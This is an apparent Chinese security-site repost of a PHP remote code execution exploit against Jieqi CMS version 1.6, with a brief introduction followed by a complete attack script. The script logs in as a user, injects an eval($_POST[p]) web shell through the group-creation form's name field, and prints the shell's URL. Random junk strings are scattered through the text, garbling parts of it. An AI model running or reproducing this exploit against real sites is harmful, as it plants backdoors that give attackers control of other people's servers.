杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。1 n" o/ U2 i4 o" M* C0 q0 D& W
) F) z. @6 {4 i, Z
R0 Z5 L8 C Y$ ?" {5 A
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
Q' I: v% u2 q& V' f1 o2 _7 o1 S5 Y% F5 j 需要有一个能创建圈子的用户。" w+ M6 f" W2 s* S* d! o
3 {# X6 X" p% M; N<?php4 x+ k) D% h% J6 s5 H0 T- m
0 I( W$ r- t! ?
print_r('
9 q' D3 d1 k2 N1 {: D! R m+---------------------------------------------------------------------------+
- a- K; G& }3 l+ R- P. W+ S6 m( e* KJieqi CMS V1.6 PHP Code Injection Exploit
5 q7 g1 Z( W0 E" z1 Iby flyh4t
5 w9 M# f9 m! i2 Dmail: phpsec at hotmail dot com
0 [7 Z1 Q+ y% y8 U: G+ _) z7 Mteam: http://www.wolvez.org
, l" `, V1 Z9 P4 q+---------------------------------------------------------------------------+* R2 j0 C1 A! p) }% B
'); /**7 W8 l7 N- o6 h0 H
* works regardless of php.ini settings
3 O2 y0 {) A: a. Z, A$ y/ l- w*/ if ($argc < 5) { print_r('% I9 g2 ~" A5 F2 P
+---------------------------------------------------------------------------+" D0 E7 }/ C0 u
Usage: php '.$argv[0].' host path username" P4 x, k i C' _% e; h
host: target server (ip/hostname)# \5 J) K% S7 |8 w% B! i) u( ?
path: path to jieqicms % H/ L9 ~0 g+ R& O! v
uasename: a username who can create group
! \" j( h; w& W% m9 v' lExample:- b, `; V: ]" W
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
5 l9 t% ?" H6 W+---------------------------------------------------------------------------+
6 c& U" x- k; s'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961, `2 B, @! p) m7 y7 u% c6 p
Content-Disposition: form-data; name="gname"* K( j( R; K, F7 l
. w/ J; L: _2 m' O* j4 v
'; $params .="';"; $params .='eval($_POST[p]);//flyh4t
) G# w5 [" v1 X4 e( I0 |-----------------------------23281168279961
, f* u+ ]: J I6 w5 `Content-Disposition: form-data; name="gcatid"& k. ?% q" L9 v; c* o2 j
& N( N/ U( s+ k18 p. v& M- ^7 h4 X- D
-----------------------------23281168279961 L2 i% X/ D5 ` [2 Q
Content-Disposition: form-data; name="gaudit"
$ w# {+ }$ | p' B
: D( ^2 t, ?( N. B% P- d' [1
0 M; i9 ]) ^& Z: U: h-----------------------------23281168279961( q' ], F: G8 q( {* E) G
Content-Disposition: form-data; name="gbrief"
: s* o" k4 o' L " y7 O7 X- Z0 E4 R
1
( u8 ?8 M* y. M-----------------------------23281168279961--# a- C4 l( D- w7 D' `+ n: v3 A
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com" S: d7 [# t* I1 ?* w% J- {
( M6 g( N) r* I3 s" j( G! Jpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url; |